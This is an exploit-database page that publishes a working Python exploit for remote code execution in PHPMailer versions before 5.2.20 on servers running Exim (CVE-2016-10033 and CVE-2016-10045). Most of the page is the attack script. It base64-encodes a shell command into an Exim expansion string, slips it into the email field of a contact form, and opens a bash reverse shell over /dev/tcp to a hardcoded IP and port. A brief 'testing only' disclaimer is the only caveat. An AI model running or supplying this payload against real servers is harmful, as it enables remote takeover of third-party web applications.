PHPMailer < 5.2.20 with Exim MTA Remote Code Execution

2017.06.22
Credit: phackt_ul
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/python # # Exploit Title: [RCE for PHPMailer < 5.2.20 with Exim MTA] # Date: [16/06/2017] # Exploit Author: [@phackt_ul] # Software Link: [https://github.com/PHPMailer/PHPMailer] # Version: [< 5.2.20] # Tested on: [Debian x86/x64] # CVE : [CVE-2016-10033,CVE-2016-10074,CVE-2016-10034,CVE-2016-10045] # # @phackt_ul - https://phackt.com # # All credits go to Dawid Golunski (@dawid_golunski) - https://legalhackers.com # and its research on PHP libraries vulns # # PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) # PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074) # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034) # # ExploitBox project: # https://ExploitBox.io # # Full advisory URL: # https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html # https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html # http://pwnscriptum.com/ # # -------------------------------------------------------- # Enhanced for Exim MTA # # N.B: # The original author's method in the PHPMailer POC (for sendmail MTA) uses the RFC 3696 # double quotes technique associated with the -oQ -X options to log mailer traffic and to create # the backdoor. This technique is not facing some payload size issues because the payload # was in the email body. # # For Exim: # The original author's Wordpress 4.6 POC for Exim combines the comment syntax (RFC 822) # and the Exim expansion mode techniques. The use of substr on spool_directory and tod_log # expansion variables in order to bypass the PHP mail() escaping may leads to large # email addresses payloads. However the comment syntax validateAddress() technique does not # face any size limitation but its use can not be applied for PHPMailer < 5.2.20. # # Goal: # The use of double quotes validateAdresse() technique (and it's patch bypass for PHPMailer < 5.5.20) # combined with the Exim expansion mode technique may leads to large payloads quickly facing addresses # size limit here (260 chars) and so not matching the pcre8 regexp in the validateAddress() function. # We are now base64 encoding the command in order to bypass escapeshellcmd() and allowing larger payloads. # # # Usage: # ./rce_phpmailer_exim4.py -url http://victim/phpmailer/ -cf contact_form.php -ip 192.168.1.109 -p 1337 # # # Requirements: # - Vulnerable PHP libraries # - Exim MTA Agent # # # Disclaimer: # For testing purposes only on your local machine - http://pwnscriptum.com/PwnScriptum_PHPMailer_PoC_contactform.zip import argparse import urllib import urllib2 import base64 # Prepare command for Exim expansion mode in order def prepare_cmd(cmd): return '${run{${base64d:%s}}}' % base64.b64encode(cmd) # Send Request method def send_request(req): try: urllib2.urlopen(req) except urllib2.HTTPError, e: print "[!] Got HTTP error: [%d] when trying to reach " + req.get_full_url() + " - Check the URL!\n\n" % e.code exit(3) except urllib2.URLError, err: print "[!] Got the '%s' error when trying to reach " + req.get_full_url() + " - Check the URL!\n\n" % err.reason exit(4) # Parse input args parser = argparse.ArgumentParser(prog='rce_phpmailer_exim4.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit for Exim4 based on LegalHackers sendmail version') parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url') parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname') parser.add_argument('-ip', dest='ATTACKER_IP', required=True, help='Attacker IP for reverse shell') parser.add_argument('-p', dest='ATTACKER_PORT', required=False, help='Attackers Port for reverse shell', default="8888") parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send") parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name") parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email") parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg") args = parser.parse_args() CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT # Show params print """[+] Setting vars to: \n WEBAPP_BASE_URL = [%s] CONTACT_SCRIPT = [%s] ATTACKER_IP = [%s] ATTACKER_PORT = [%s] POST_ACTION = [%s] POST_NAME = [%s] POST_EMAIL = [%s] POST_MSG = [%s] """ % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.ATTACKER_IP, args.ATTACKER_PORT, args.POST_ACTION, args.POST_NAME, args.POST_EMAIL, args.POST_MSG) # Ask for mail library print "[+] Choose your target / payload: " print "\033[1;34m" print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)""" print """ SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)""" print """ Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n""" print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045) - escapeshellarg() bypass""" print "\033[0m" try: target = int(raw_input('[?] Select target [1-2]: ')) except ValueError: print "Not a valid choice. Exiting\n" exit(2) if (target>2): print "No such target. Exiting\n" exit(3) ################################ # Payload ################################ cmd = "/bin/bash -c '0<&196;exec 196<>/dev/tcp/192.168.1.19/1337;nohup sh <&196 >&196 2>&196 &'" prepared_cmd = prepare_cmd(cmd) payload = '"a\\" -be ' + prepared_cmd + ' "@a.co' # Update payloads for PHPMailer bypass (PHPMailer < 5.2.20) if target == 2: payload = "\"a\\' -be " + prepared_cmd + " \"@a.co" ################################ # Attack episode # This step will execute the reverse shell ################################ # Form fields post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: 'Really important message'} # Print relevant information print "\n[+] Executing command on victim server\n" print '[!] command: [%s]' % cmd print '[!] payload: [%s]' % payload print '[!] post_fields: [%s]\n' % str(post_fields) data = urllib.urlencode(post_fields) req = urllib2.Request(CONTACT_SCRIPT_URL, data) send_request(req) print "\033[1;32m[+] You should check your listener and cross the fingers ;)\033[0m\n"


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top